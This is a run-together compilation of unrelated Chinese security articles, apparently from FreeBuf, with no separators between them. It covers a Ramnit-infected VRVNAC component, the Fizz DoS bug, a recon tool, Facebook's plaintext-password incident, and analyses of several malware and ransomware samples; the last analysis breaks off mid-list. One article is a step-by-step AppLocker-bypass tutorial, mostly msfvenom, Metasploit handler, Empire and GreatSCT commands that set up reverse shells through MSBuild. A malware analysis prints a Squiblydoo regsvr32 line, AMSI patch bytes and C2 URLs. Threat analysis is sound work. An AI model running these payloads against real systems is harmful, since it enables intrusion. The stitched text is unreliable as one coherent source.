一、概述

近期有公安、气象等行业若干单位反馈,他们检测出VRVNAC“桌面监控”软件携带恶意程序。经分析,该产品所使用的功能组件(AdvancedAll.dll)遭Ramnit病毒感染,恶意代码被包含在文件的资源数据中。

火绒团队早在2015年就发现该产品组件携带恶意代码,并告知过该公司,但问题至今未被解决。火绒团队推测,这可能是供应链污染造成的,该组件的编写者开发环境被病毒感染,导致相关组件带毒。虽然这段恶意代码激活条件比较苛刻,也不会造成大面积扩散,但的确是潜在风险。 
据了解,这款被病毒污染的VRVNAC 软件广泛应用于公安等行业单位,火绒强烈建议该产品供应商尽快排查开发供应链,彻底解决该问题。

二、分析

近期,有用户反馈火绒检测到VRVNAC“桌面监控”一组件包含病毒。火绒分析师分析后,发现该组件(AdvancedAll.dll)的资源文件中的网页资源被病毒感染(火绒检测为:TrojanDropper/Ramnit.f),并且该恶意代码早在2015年就被该组件携带,至今仍未修正该问题。VRV产品及火绒报毒界面,如下图所示:

193520bc1nv69ebzv7bv9e.png

模块加载列表

193553k7q7bhqiqlpiqtsq.png

签名比较

火绒反病毒引擎在扫描AdvancedAll.dll文件是会对该文件的资源数据一一分析并扫描,所以虽然恶意代码被包含在文件的资源数据中,但是仍会被检测到。如下图所示:

193616grrz0m2ll2yy3zrm.png

资源文件

被感染的网页文件,执行条件比较苛刻(需要IE6浏览器内核渲染,并设置浏览器安全等级为低),所以在实际用户环境中不容易被激活。在构造了上述环境并通过IE浏览器加载该页面激活改病毒后,病毒代码会尝试释放并执行恶意代码,如下图所示:

193633it55smsmtpmmrq1s.png

释放svchost

被感染的网页文件在执行后会在TEMP目录下创建svchost.exe文件,并将二进制数据(PE文件)写入到已创建的文件,然后执行。提取到的部分代码,如下图所示:

193646mruu8r6posss0pqh.png

释放病毒文件

当svchost.exe启动后会将代码注入到IEXPLORE.EXE进程中,然后遍历全盘并感染EXE、DLL、HTML、HTM文件,用于传播自身。感染逻辑以及运行截图,如下图所示:

193659k4uh1jxhojwou55f.png

感染逻辑

193708frqmt1qnctn3u3et.png

感染后文件

*本文作者:火绒安全,转载请注明来自FreeBuf.COM

Semmle公司的安全研究员Kevin Backhouse在Facebook的开源TLS库Fizz中找到一个因证书溢出触发的拒绝服务漏洞。因该漏洞严重程度高,因此Facebook破例为原本不再奖励范围内的漏洞颁发1万美元的奖励。

如下是该研究员的博客文章节选:

Fizz 简介

该漏洞是一个无限循环,可被未验证的远程攻击者触发。Fizz是Facebook的TLS实现,也就是说它用于 https://facebook.com 中的“https:”部分。据Facebook公司在2018年8月6日发布的数据显示,“我们在全球范围内为移动应用、Proxygen、负载平衡器、内部服务甚至是OUIC库mvfst等中部署了Fizz。超过50%的内部流量目前受TLS 1.3的保护。”

鉴于Fizz是一个开源项目,因此其它项目和组织机构可能也在使用它。

漏洞严重性和缓解措施

漏洞(CVE-2019-3560)造成的影响是,攻击者能够通过TCP向任意使用Fizz库的服务器发送恶意信息并在该服务器上触发无限循环,从而导致服务器对其它客户端无法做出响应。该漏洞被归为拒绝服务(DoS)漏洞,因为它导致攻击者破坏服务而不是获取未授权访问权限。由于信息只有64KB大小,因此发动攻击的成本极其低廉,但对于服务器而言却具有重大风险。

具有异常民用级互联网连接(1Mbps的上传速度)的一台电脑就能每秒发送两条信息。由于每条信息针对的是一个CPU内核,因此只需要小型僵尸网络就能快速拿下整个数据中心。

我没有发现针对该漏洞的缓解措施,因此建议尽快更新到已打补丁的Fizz版本v2019.02.25.00。

PoC

我已经编写了触发该漏洞的PoC。它就是一个简单的C程序,打开服务器的TCP套接字并发送大小仅为64KB的恶意有效负载。该程序在发送完有效负载后就马上关闭套接字,但服务器由于陷入死循环因此无法注意到这一点。我并未在真实的网站上测试该有效负载,只是在包含在Fizz源代码的演示服务器应用中进行了测试。然而,该漏洞存在于Fizz库的核心,而非演示应用程序,因此我认为 https://facebook.com 在提交漏洞前是存在风险的。

Facebook已发布补丁,但我会在其它Fizz用户更新后发布完整详情。

简要技术分析

这个漏洞是因为PlaintextRecordLayer.cpp第42行中+=中存在一个整数溢出问题:

auto length = cursor.readBE<uint16_t >();if (buf.chainLength() < (cursor - buf.front()) + length) { return folly::none;}length += sizeof (ContentType) + sizeof (ProtocolVersion) + sizeof (uint16_t );buf.trimStart(length);continue ;

该代码从传入的网络数据包中读取一个uint16_t并将其分配给length。换句话说,length的长度是受攻击者控制的。第2行的if语句看似是bounds检查,但实际上只是检查已收到足够的数据以便继续解析。这就是利用代码为何需要发送64KB数据的原因:该代码在收到至少length字节之前并不会触发第5行的整数溢出。该利用通过设置length = 0XFFFB起作用。这意味着+=后,length的值为0。它说明调用第7行的trimStart并不会消耗任何数据,因此在循环下次迭代前并不会产生任何进展。

而修复该漏洞的方法也很简单:使用大于uint16_t的类型来计算该加法,从而避免整数溢出问题的产生。

但是,我并未有完全说明该利用起作用的全部内容。设置length = 0XFFFB这一步是容易的那部分,我发现搞清楚如何构建真正能触发这行代码的信息才是更难的部分。Fizz用户更新后,我会发布完整详情。

漏洞奖励

2019年3月13日,Facebook给我发了一份邮件,通知我获得1万美元的奖励。他们的解释如下:

“这个漏洞本可导致恶意攻击者引发针对Facebook基础设施的拒绝服务。虽然我们的漏洞奖励计划通常并不涵盖此类漏洞,但你提交的报告讨论了具有重大风险的场景。”

时间轴

2019-02-20:通过Facebook公司的白帽计划提交漏洞

2019-02-20:Facebook证实漏洞问题存在并转交给产品团队

2019-02-20:Facebook修复所有服务器

2019-02-25:Facebook在GitHub上推送修复方案

2019-03-13:Facebook确认漏洞奖励

2019-03-19:Semmle公司披露CVE-2019-3560

该研究员按照所在公司的政策,已将赏金全部捐献给慈善组织Techtonica。按照Facebook的规定,如果选择捐赠,则Facebook会捐赠同等款项,因此该慈善组织收到2万美元的捐赠。

*参考来源:lgtm,360代码卫士编译整理,转载请注明来自 FreeBuf.COM。

今天给大家介绍的是一款名叫Cat-Nip的开源渗透测试工具,该工具针对Kali Linux开发,可帮助研究人员自动化完成基础的渗透测试。这些基础的渗透测试任务包括信息收集、安全审计以及安全报告,而且这些任务Cat-Nip都可以帮助我们自动化地去完成。

1.jpg

工具使用指南

下载/克隆Cat-Nip项目:

~#git clone https://github.com/baguswiratmaadi/catnip

切换到Cat-Nip项目目录:

~# cdcatnip

给Cat-Nip提供权限:

~#chmod 777 catnip.sh

运行Cat-Nip:

~#./catnip.sh

使用Cat-Nip自动化完成渗透测试任务

-Whois查询

-DNSmap

-Nmap

-Dmitry

-Theharvester

-LoadBalancing Detector(网络负载均衡检测器)

-SSLyze

-Automater

-UaTester

-Gobuster

-Grabber

-Parsero

-Uniscan

-更多工具即将上线

工具运行截图

2.png3.png

输出结果

4.png

HTML格式报告

5.png6.png7.png

项目地址

Cat-Nip:【GitHub传送门

*参考来源:catnip,FB小编Alpha_h4ck编译,转载请注明来自FreeBuf.COM

在这篇文章中,我们将为大家介绍如何绕过AppLocker。在上一篇文章,即“Windows AppLocker策略入门指南”中,我们为读者介绍了如何通过AppLocker规则来定义应用程序控制策略,以及如何实施这些策略。接下来,我们将介绍如何借助MSbuild.exe绕过AppLocker策略。

大概内容

1.MSbuild.exe简介

2.使用Msfvenom生成CSharp文件

3.利用MSbuild生成XML文件

4.Nps_payload脚本

5.Powershell

6.GreatSCT

MSbuild.exe简介

 Visual Studio使用MSBuild,但它不依赖于Visual Studio。通过 在项目或解决方案文件上调用  msbuild.exe,您可以在未安装Visual Studio的环境中组织和构建产品。Visual Studio使用MSBuild加载和构建托管项目。Visual Studio中的项目文件(.csproj,  .vbproj,  .vcxproj和其他)包含MSBuild XML代码。

使用Msfvenom生成CSharp文件

 我们使用Microsoft VisualStudio创建以MSBuild格式保存的、带有*.csproj后缀的C#代码,以便可以使用MSBuild平台将其编译为可执行程序。借助于一个恶意的构建的过程,我们可以获得受害者计算机的反向shell。接下来,我们要生成file.csproj文件,为此,首先需要通过msfvenom生成一个基于C#的shellcode。之后,将该shellcode放入我们的file.csproj中,具体如下所示。

 msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.1.109 lport=1234 -f csharp

1.png上面的shellcode放入xml文件中,并且,我们可以从github下载这个xml文件,其中存放MSBuild要编译和执行的代码。该xml文件应另存为file.csproj ,所这样,必须通过MSBuild运行file.csproj才能生成Meterpreter会话。 注意:要替换C#shellcode中shellcode的值,然后,将buf重命名为shellcode,如下图所示。
2.png我们可以从Visual Studio或从命令行窗口中运行MSBuild。通过Visual Studio,不仅可以编译应用程序,同时,还能指定编译后的代码适用于哪个版本的.NET Framework 。例如,同一个应用程序源代码,既可以编译为适用于32位平台上的.NET Framework2.0环境中的程序,也可以让编译好的代码运行于64位平台上的.NET Framework4.5环境。现在启动multi/handler以获取Meterpreter会话,并在目标路径C:\Windows\Microsoft.NET\fr amework\v4.0.30319中使用msbuild.exe运行file.csproj文件,具体如下所示。

3.png

use exploit/multi/handler
msf exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
msf exploit(multi/handler) > set lhost 192.168.1.109
msf exploit(multi/handler) > set lport 1234
msf exploit(multi/handler) > exploit

这样就得到了meterpreter会话,如下所示:
4.png

利用MSbuild生成XML文件

如上所述,MSBuild使用了一种基于xml的项目文件格式,这种格式不仅简单易懂,并且易于扩展,因此,我们可以将上面生成的file.csproj重命名为file.xml,然后,再次使用msbuild.exe在目标路径C:\Windows\Microsoft.Net\fr amework\v4.0.30319上运行file.xml文件,具体如图所示。

 C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe file.xml

5.png

use exploit/multi/handler
msf exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
msf exploit(multi/handler) > set lhost 192.168.1.109
msf exploit(multi/handler) > set lport 1234
msf exploit(multi/handler) > exploit

我们这样就得到了受害者的meterpreter会话,如下所示:
6.png

Nps_Payload脚本

该脚本用于生成绕过入侵检测的payload。当然,这里用到了多种已经公开的技术。该脚本是由Larry Spohn(@_Spoonman1091)撰写的,但是Payload则是由Ben Mauch(@_Ben0xA)编写的。该脚本可以从github下载。Nps_payload能够生成可以通过msbuild.exe和mshta.exe执行的payload,以通过meterpreter会话获取受害者计算机的反向连接。 我们可以按照以下步骤来生成payload:1从github下载nps payload后,运行./nps_payload.py脚本。2.按1,选择任务“generatemsbuild/nps/msf”3.再次按1,选择payload“windows/meterpreter/reverse_tcp”这样一来,将在xml文件中生成payload,然后从目标位置C:\Windows\Microsoft.Net\fr amework\v4.0.30319发送该文件,具体如前所述,同时,在新终端中运行以下命令以启动侦听器。

msfconsole -r msbuld_nps.rc

7.png重复上面的步骤,在命令提示符下执行msbuild_nps.xm l,并通过Meterpreter获得反向连接,具体如下所示:

C:\Windows\Microsoft.NET\fr amework\v4.0.30319\MSBuild.exemsbuild_nps.xml

8.png

PowerShell Empire

 接下来,我们将为读者介绍另一种针对Msbuild的攻击方法,为此,我们需要用到empire。实际上,Empire是一个后续利用框架。关于Empire的使用指南,请访问下面的文章:<https://www.hackingarticles.in/hacking-with-empire-powershell-post-exploitation-agent/>启动Empipre框架后,请键入listener命令,以检查是否存在处于活动状态的侦听器。正如您在下面的图像中看到的,这里并没有处于活动状态的侦听器。因此,我们需要设置一个侦听器,具体命令如下所示:

listeners
uselistner http
set Host http://192.168.1.107
execute

使用上述命令,您将拥有一个活动的侦听器。键入back以退出侦听器,以便您可以启动PowerShell。对于我们的MSBuild攻击,我们将使用stager。

usestager windows/launcher_xml
set listener http
execute

UseStager将创建一个恶意代码文件,该文件将保存在/tmp目录下面名为launcher.xml的文件中。
9.png一旦该文件被运行,我们就能在侦听器上看到相应的运行结果。为了在受害者机器上面运行该文件,需要执行下列命令:

cd C:\Windows\Microsoft.NET\framework\v4.0.30319\
MSBuild.exe launcher.xml

10.png要查看是否有会话已打开,请键入“agents”。这样,将显示我们拥有的会话的名称列表。若要访问某会话,可以使用如下所示的命令:

interact A8H14C7L

上面的命令将授予您对指定会话的访问权限。

sysinfoinfo

11.png

GreatSCT

GreatSCT是一个允许您使用Metasploit漏洞并允许它绕过大多数反病毒的工具。GreatSCT其下载地址为:  <https://github.com/GreatSCT/GreatSCT>下载并运行该软件后,可以通过以下命令来访问各个功能模块:

use Bypass

12.png现在,我们来查看payload的类型列表,具体命令如下所示:

13.png这样,我们就可以根据攻击目标,来选择相应的payload了。我们需要键入以下命令:

use msbuild/meterpreter/rev_tcp.py

14.png输入以下命令:

set lhost 192.168.1.107
generate

15.png当生成payload时,会要求为其指定一个名称。默认情况下,它将使用“payload”进行命名。不过,这里将msbuild指定为该payload的名称,输出代码将保存在xml中。 
16.png现在,它生成了两个文件。一个是metasploit的RC文件,另一个是msbuild.xml文件。 接下来,我们需要在/usr/share/greatsct-output/source目录中输入以下命令,以便启动Python服务器:

python -m SimpleHTTPServer 80

17.png受害者的机器运行该文件:

cd C:\Windows\Microsoft.NET\fr amework\v4.0.30319\
MSBuild.exe msbuild.xml

18.png启动multi/handler。键入下列命令:

msfconsole -r/usr/share/greatsct-output/handlers/payload.rc

获得了一个Meterpreter会话。
19.png*参考来源:forcepoint,由周大涛编译,转载请注明来自FreeBuf.COM

现在,很难用现有的隐私政策、安全策略等借口去掩盖这个事实:在北京时间今天凌晨,根据Krebs on Security报道,Facebook确认了密码管理系统的一个漏洞,这个漏洞可导致数亿的Facebook帐号、Instagram以及Facebook Lite的明文密码泄漏。这意味着数万名Facebook员工可以直接查阅明文的密码。Krebs的文章称这种情况可以追溯到2012年。

一般来说,网站的运营者可以通过使用特定的单方加密的方法将密码存储在服务器上。通过这种方法,即时有人获得了这个密码,他们也无法知道这个密码具体是什么,这种已加密的密码也几乎不可能被利用起来。作为一个服务数亿用户的公司,Facebook一定知道他们要面对的是一大批的黑客,并且他们要尽可能避免发生密码泄漏的可能性,避免发生严重的安全灾难。不幸的是,一个敞开的窗户让这些铜墙铁壁般的安全防御措施彻底失效。

jbareham_180405_1777_facebook_0001.0.jpg

Facebook方面的解释

“在一月份的日常安全巡查过程中,我们发现部分用户的密码在内部数据存储系统里可以被任意读取,”Facebook安全隐私副总裁Pedro Canahuati在声明中是这么说的“我们的登录系统已经是使用顶尖的技术去对密码进行加密。我们可以这么说,这些密码绝对不会在Facebook以外的任何一个人能够看到,我们迄今为止也未发现有任何公司外部人员曾经访问过这些数据。”

Canahuati称Facebook现在已经修复了这个密码记录问题,并且Facebook将通知数亿Facebook用户和数千万Instagram用户,提醒他们去更换密码。并且,Facebook并灭有计划去重置用户密码。

作为一个这么庞大的目标,Facebook很少出现安全方面的技术错误,并且遇到这次事件的时候也并没有逃避。但是这个公司从9月份的违规操作就已经开始备受质疑,其中攻击者通过破坏用户登录的账户信息,窃取了3000万用户的数据。

上述事件间接的帮助Facebook发现这个明文存储密码的问题以及导致出现这种情况的漏洞,这个事件引发了这场找出过失的安全检查。“在我们的安全检查中,我们一直在研究我们存储各种信息的方式——例如访问凭证——并且我们在发现问题的时候就要把问题解决掉。”据Canahuati称。

牛津大学技术和全球事务中心的独立网络安全顾问兼助理研究员Lukasz Olejnik表示:“好消息是,他们在积极主动的处理这个问题。据说,他们是在一次审计中发现这一问题,所以从这个层面上来说,过去的安全问题加上这次的数据泄露安全问题,往后Facebook公司的审计规则应该会更加标准。”

Facebook告诉WIRED,被泄露的密码不可能全部存储在一个地方,并且问题也不是出自密码管理系统的某个漏洞(可能是多个漏洞引起)。相反,公司是无意间通过一些内部机制和存储系统(例如崩溃日志),捕获到的明文密码。

Facebook表示,这件事情的性质导致这个问题更加复杂,很难被理解,也很难修复。公司内部已经花了将近两个月的时间去调查该问题,并试图披露调查结果。

像Facebook这种拥有大规模用户数据的公司,应该保持网络流量日志清晰有条理。当发生脱机、漏洞或者其他安全问题时,才可更好更快的追溯问题根源。在某些情况下,Facebook拉取这些数据也属正常,但问题是,为什么Facebook要把含有敏感数据的日志存储这么久,为什么公司对此事一无所知。

Open Crypto Audit Project的安全工程师和主管Kenn White表示:“作为调试bug的一部分,捕获用户数据,以及操纵如此大规模的网络数据,这些事情是很不正常的。但Facebook能存储这些数据长达数年之久,就说明他们的架构存在很多问题。他们有义务保护调试日志安全,并且需要对存储的的日志进行审计。从某种意义上来说,他们拥有的是最为敏感的数据,因为这些数据未经任何处理,也没有托管在任何地方。”

去年5月份,Twitter也发生过一起类似事件——用户的明文密码泄露。他们没有第一时间要求用户更改密码,而是表示他们的密码没有泄露。同样,Facebook也表示,据他们的调查显示,没有任何迹象表明有人窃取了他们数亿的用户密码。

建议

不管你是否收到Facebook的更改密码通知,你都应该立马去更改你的密码。

Facebook表示明文密码问题现在已经修复,并且他们认为此次事件不会产生长期影响,因为密码从未真正被盗过。但考虑到Facebook已经多次的爆发安全危机,很难知道接下来会发生什么。

事件概述

据外媒报道,全球最大铝生产商之一挪威海德鲁(Norsk Hydro)公司于本月19号遭到一款新型勒索软件LockerGoga攻击,企业IT系统遭到破环,被迫临时关闭多个工厂并将挪威、卡塔尔和巴西等国家的工厂运营模式改为“可以使用的”手动运营模式,以继续执行某些运营。

深信服安全团队捕获到造成该重大事故的“罪魁祸首”—— LockerGoga勒索病毒的样本,并对其进行了详细的技术分析。

样本信息

1.勒索信息文件:

02.png

2.加密后文件以”.locked”作为后缀:

01.png

详细分析

1.病毒文件会修改自身进程权限:

06.png

2.调用cmd命令复制自身到Temp目录下,文件名以硬编码的字符串“yxugwjud“+四位随机数字组成:

07.png

08.png

3.随后以-m参数启动以进行后续的加密操作:

09.png

4.生成勒索信息文件READMI_LOCKED.txt:

10.png

5.使用硬编码的公钥对文件进行加密:

11.png

6.加密后修改文件后缀为”.locked”:

12.png

7.同时以” -i Global\SM-yxugwjud -s”为参数不断创建自身线程:

13.png

8.另外,虽然勒索病毒文件中硬编码了一些指定的文件后缀,但该勒索病毒似乎不限于指定类型的文件,会将系统中所有的文件都进行加密,破坏性极强:

14.png

解决方案

针对已经出现勒索现象的用户,由于暂时没有解密工具,建议尽快对感染主机进行断网隔离。深信服提醒广大用户尽快做好病毒检测与防御措施,防范该病毒家族的勒索攻击。

病毒防御

深信服安全团队再次提醒广大用户,勒索病毒以防为主,目前大部分勒索病毒加密后的文件都无法解密,注意日常防范措施:

1、及时给电脑打补丁,修复漏洞。

2、对重要的数据文件定期进行非本地备份。

3、不要点击来源不明的邮件附件,不从不明网站下载软件。

4、尽量关闭不必要的文件共享权限。

5、更改账户密码,设置强密码,避免使用统一的密码,因为统一的密码会导致一台被攻破,多台遭殃。

6、如果业务上无需使用RDP的,建议关闭RDP。

最后,建议企业对全网进行一次安全检查和杀毒扫描,加强防护工作。

介绍

几天前,Cybaze-Yoroi ZLAB团队遇到了一个十分“异类”的Office文档,它当中包含的一些特性引起了研究人员的兴趣。文档中携带的payload能绕过Microsoft现今一些高级别的安全机制,如AppLocker(应用程序控制策略),或是较新版本的防恶意软件扫描接口AMSI——这是一个与供应商无关的安全接口,可以对运行的脚本、宏代码甚至内存块进行反病毒控制,旨在解决混淆和无文件威胁。

因此,Cybaze-Yoroi ZLAB决定对检测样本进行更进一步的分析。

技术分析

t1.jpg

表1.样本信息

初始文档界面如下图所示,表面上是提示用户启用宏以显示文档的实际内容,实际上感染链已在后台悄悄启动。

1.png

图1.初始文档界面

几秒钟后,将显示一个弹出窗口,提示文档解密失败,然后自动关闭Word文档。

此时,不知情的受害者可能认为文档有问题,什么都没有发生,但实际上恶意软件已经在秘密潜入的过程中了。仔细看,会注意到文档左侧小框中的可疑字符块:

2.png

图2.弹出窗口

3.png

图3.放大后的字符串

名为“Kplkaaaaaaaz”的框中包含一个base64编码的payload,由宏执行提取并分配给“dopzekaoooooooo”变量,它将用于填充下一阶段的bat文件。这种将部分payload放置在Word Label或单元格对象中的技术,能隐藏代码并将更多代码直接嵌入攻击向量中,从而降低被检测的风险。

此外,恶意软件采用了一种逃避技术来确定它是否在沙箱环境中执行。它会检查机器的域名是否与计算机的名称相同,如果此条件成立,则先前的“Kplkaaaaaaaz”变量将设置为以下文字:“此文档中已包含VBA。”,并让感染链停止。此项技术可以绕过所有主要的沙箱服务,如Any.run和Hybrid Analysis。

4.png

图4.混淆的宏代码

在反混淆阶段之后,恶意软件的行为将显现。“%temp%\ errors.bat”脚本中包含了需要执行的下一个操作,并由存储在%appdata%文件夹中的“cmd.exe”副本执行,该副本名为“msutil.exe”。

5.png

图5.反混淆的宏函数

上面的代码是弹出窗口的指令(图2),这是一个简单的Visual Basic MsgBox。与大多数恶意软件不同之处在于,该恶意软件使用了另一种技术在文档打开时自动启动宏代码:它不使用Workbook_Open或Auto_Open函数,而是利用Word InkEdit对象来调用InkEdit1_GotFocus函数,该函数会在InkEdit1(图1)显示时立即生效。

“errors.bat”文件中包含一个Base64编码的powershell脚本,它能关闭初始Word文档的进程并将原文件从文件系统中删除。而该脚本对系统上可用的内存量的检测则展示了另一种规避技术——如果检测到可用内存小于1 GB,则恶意软件会终止执行并删除所有感染痕迹。

6.png

图6.启动宏的函数

7.png

图7.“errors.bat”文件中的Powershell代码

对可用内存的检查是通过CIM(公共信息模型)服务器实例完成的。奇怪的是,此cmdlet的返回值被分配给名为“diskSizeGB”的变量,即使该函数返回的是可用RAM的数量而不是磁盘的数量(这可能是作者犯的错误)。

在评估了前面的条件之后,BAT文件会继续设置一个新的注册表项,以受害者的用户名命名,并在其中存储一个随机值。

随机值是创建新的TXT文件所必需的,该文件将填充base64的payload。 然后使用“certutil”Windows实用程序解码文件内容,最后使用以下指令执行:

start /b regsvr32 /u /n /s /i:%appdata%\9711.txt scrobj.dll

8.png

图8.恶意软件设置的RegKey

这种技术被称为“Squiblydoo”,它能绕过Windows AppLocker。AppLocker是微软Windows 7操作系统引入的应用程序白名单技术,可以限制用户可以通过组策略执行哪些程序,就好比企业管理员可以在企业域的每台机器上禁用脚本执行。因此,使用该技术可以启动任何脚本。

绕过技术的基本部分是“scrobj.dll”,属于Windows Utility DLL。它能够使用脚本语言(如VBScript和JScript)创建COM组件。而图8中的“9711.txt”则是能生成新的COM对象的脚本文件,它能使用“regsvr32”实用程序进行注册。

9.png

图9. Squiblydoo技术中使用的脚本文件

显然,这段代码也经过混淆,但使用JScript解释器可以提取一些有趣的证据。

10.png

图10.通过Squiblydoo执行的ActiveXObject

刚刚创建的ActiveXObject使用先前存储的随机值将恶意软件持久性设置为HKCU \\ Environment \\ UserInitMprLogonScript,以便在登录时启动恶意操作。

11.png

图11.恶意软件持久性

之后,恶意软件将启动一个新的混淆Powershell脚本,如下所示:

12.png

图12.最终payload含有Empire stager

恶意软件在此阶段展示了一种避免沙箱分析长时间等待(超过5分钟)的逃避技术。它会检查操作系统版本,并从“hxxp://riscomponents[.]pw/test[.]txt”处检索相应代码,而检索出的Powershell指令用于绕过反软件扫描接口(AMSI)。

AMSI是一种通用的接口标准,它能让应用程序或服务与计算机上任意反恶意软件产品集成。它主要是为了帮助两类人:一是希望能从应用程序向反恶意软件发出请求的开发人员,二是希望其产品能直接向应用程序提供功能的反病毒软件开发商。此外,AMSI在默认情况下会集成到一些Win10组件中,比如用户帐户控制(UAC)、PowerShell、Windows Script Host、JavaScript、VBScript和Office VBA。在代码彻底去混淆后,它能在代码执行之前对其评估。

不过,当前网上也有几种AMSI绕过的方法,其中一些只需要几行代码就可以了,就如同我们在分析中发现的那样:

13.PNG

图13.恶意软件使用的AMSI绕过代码

对此段代码检索后发现其属于“amsi.dll”系统库的AmsiScanBuffer函数的内存地址,在缓冲区{0xB8,0x57,0x00,0x07,0x80,0xC3}重写其部分字节,就能永久禁用AMSI扫描功能。攻击者可能借鉴了网上一个现成的脚本,该脚本用C#编写。如下图所示,恶意软件使用的代码段与此脚本中某些代码段几乎相同:

14.png

图14. Github上提供的绕过AMSI的代码段

在剩余代码中,我们发现其目标是从位于hxxps://185.198.57[.]142/admin/login.php的C2服务器中检索需要执行的新命令。通过分析下载指令所涉及到的脚本后发现,它似乎是Empire powershell stager,正如SANS在其论文的一些案例所示。然而,在我们分析期间,服务器却宕机了,无法进行进一步调查。

考虑到恶意软件的复杂性,我们将其感染流程做了简要的划分,如下图所示。

15.png

图15.恶意软件感染方案

结论

攻击者使用了多种规避技术并将之组合,成功设计出了一个能绕过现代Windows系统中诸如AppLocker和AMSI等高级安全机制的方案,让攻击匿于无形之中。面对层出不穷的攻击手段,此次行动也再一次为当前Windows系统的安全机制敲响了警钟。

IOCs

Dropurl:

· hxxp://riscomponents[.]pw/

· hxxp://riscomponents[.]pw/test[.]txt

· 185.198.57.142:443

· https://185.198.57.142/admin/login.php

Persistence:

· regsvr32 /u /n /s /i:C:\Users\admin\AppData\Roaming\%filename%.txt scrobj.dll

· HKCU\Software\Microsoft\Notepad\%username%

Hash:

· 127e9f68f0f97d6dafe55ad651f5b3c0f6a7b504b9b4b4d9aecc1f2141347447

· 3170e1504a914376442766b02633252e364aa75fc9b891598c6fac9389c1723c

· 5a87604a53f13a2afe5b760dac115af9ca028c15e853c74f9ad2e8f2c64d3bb8

Yara Rules

rule doc_macro_14_03_2019{

	meta:
  	description = "Yara Rule for doc_macro sample"
  	author = "Cybaze Zlab_Yoroi"
  	last_updated = "2019_03_14"
  	tlp = "white"
  	category = "informational"

	strings:
    		$a = {3C F1 6E 56 75 4A 2C 87 98}
   		$b = {10 5A AC FA 32 0E 0E 03 81 6A 23 10}
    		$c = "MDFLYUhadFpFaFFh"
    		$d = "InkEdit"
    		$e = "373035373536363"

	condition:
    		all of them
}

rule App_Locker_Bypass_14_03_2019{

	meta:
  	description = "Yara Rule for App_Locker_Bypass sample"
  	author = "Cybaze Zlab_Yoroi"
  	last_updated = "2019_03_14"
  	tlp = "white"
  	category = "informational"

	strings:
    		$a = "'ht'+'tp:/'+'/riscomp'+'"
    		$b = "'185.'+'198.'+'57.142:443'"
    		$c = "BXOR"
    		$d = "session='+'55pN'+'RTeT'"

	condition:
    		all of them
}

研究人员收到一封邮件,其中有一个链接,点击后就下载了一个pik.zip文件。该zip文件的名字很给奇怪руппа Компаний ПИК подробности заказа,翻译过来就是PIK Group of Companies order details(PIK公司订单详情)。也就是说是伪造的PIK公司的文件,PIK是俄罗斯的一家房地产公司,有超过14000名员工。

研究人员分析脚本发现,该脚本使用多种混淆技术进行混淆。在Stage 0阶段有2个主要的混淆流:

· 第一个是引入了伪造了静态fork,比如if和cases;

· 第二个是从动态构建或分成多个关联步骤的嵌套字符串中动态构建函数区块。

image.png

Javascript Stage0

该脚本最终会释放和执行一个伪造的图像文件msg.jpg,该文件实际上是一个UPX包Windows PE,属于第二阶段。第二阶段会释放和执行3个额外模块,分别是后门、挖矿机和勒索软件。

image.png

Stage0执行

第一个下载的模块(327B0EF4.exe)看着像非常有名的Troldesh勒索软件。该勒索软件会重命名文件并在文件之后加上.crypted000007扩展。比如,加密后,文件1.jpg就变成了hmv8IGQE5oYCLEd2IS3wZQ==.135DB21A6CE65DAEFE26.crypted000007。同时,Crypted000007会创建一个勒索信息保存在桌面上,分别是“README1.txt”, “README2.txt” … README10.txt。病毒文件还会修改桌面的墙纸,下图就是感染阶段的勒索信息:

image.png

勒索信息

第二个安装的模块37ED0C97.exe是一个名为nheqminer的挖矿机。Nheqminer是在电脑上进行Zcash挖矿的挖矿机。利用执行时的内存截图可以找出挖矿机是为Zcash.Flypool服务的一个地址进行挖矿。

攻击者钱包地址

截止2019年2月26日,攻击者的钱包共收到挖矿所得4.89 Zcash。从挖矿得到的加密货币数量来看,攻击者的攻击活动应该才刚刚开始,或者受感染的僵尸网络数量还不大。

第三个安装的模块B56CE7B7.exe是Trojan-Heur,该木马在2017年执行针对wordpress网站的暴力破解攻击而知名。

该木马的典型行为与HEUR.Trojan.Win32.Generic类似,包括:

· 下载和安装其他恶意软件。

· 使用计算机进行点击欺诈。

· 记录键盘输入和访问的网站。

· 发送PC相关信息到远程恶意攻击者,包括用户名和浏览历史。

· 给远程恶意黑客访问PC的权限。

· 在用户访问的web页面中注入广告框。

· 随机的web页面文本被转化为超链接。

· 浏览器弹窗推荐虚假更新和其他软件。

木马成功安装到受害者计算机后会暴力破解许多网站寻求弱口令凭证。一旦发现弱口令凭证,就将自己安装到WordPress站点中,名字还是pik.zip。

暴力破解模块和安装路径

下图说明了主要攻击者之间的联系和关系。分析过程中也出现了一些有意思的问题,比如为什么攻击者要伪装成与PIK有关呢?为什么要安装挖矿机和勒索软件?为什么要安装暴力破解木马呢?

 

研究人员认为,攻击者既想通过勒索软件和加密货币挖矿机赚钱,又想窃取受害者的身份凭证以确保未来的某天可以控制受害者计算机。同时,攻击者让受害者来暴力破解第三方随机网站。这样的攻击活动工作量是非常大的,而且很容易就会被检测到。因此,研究人员认为攻击者背后应该没有政府支持,只是想通过多种方式来获利。

警惕!Paradise(天堂)勒索病毒再度来袭。

一、样本简介

近日,深信服安全团队接到客户反馈,主机被加密勒索,经过跟踪分析,拿到了相应的样本,确认样本为Paradise勒索病毒的变种版本,并对此勒索病毒样本进行深入的分析。Paradise(天堂)勒索病毒最早出现在2018年七月份左右,感染多家企业。此次的变种借用了CrySiS家族的勒索信息,代码结构也跟早期版本有了很大的区别。

勒索信息弹窗:

41.png 

勒索信息文件:

42.png

加密后的文件名:

[原文件名]_[随机字符串]_{[email protected]}.p3rf0rm4

43.png

二、详细分析

1. 勒索病毒母体样本,使用UPX加壳,如下所示:

01.png

2.获取函数CreateToolhelp32Snapshot、Module32FirstW的地址,如下所示:

02.png

3.在内存解密相关数据,修改该内存属性为可读取执行,如下所示:

03.png

4.在内存中对数据进行再次解密,得到相应的代码,如下所示:

04.png

5.跳转执行解密出来的代码,如下所示:

05.png

6.搜索定位GetProcAddress函数地址,如下所示:

06.png

7.通过GetProcAddress函数获取LoadLibraryA函数地址,如下所示:

08.png

8.通过上面获取的LoadLibraryA、GetProcAddress函数得到一系列函数的地址,如下所示:

08.png

相关的函数,如下所示:

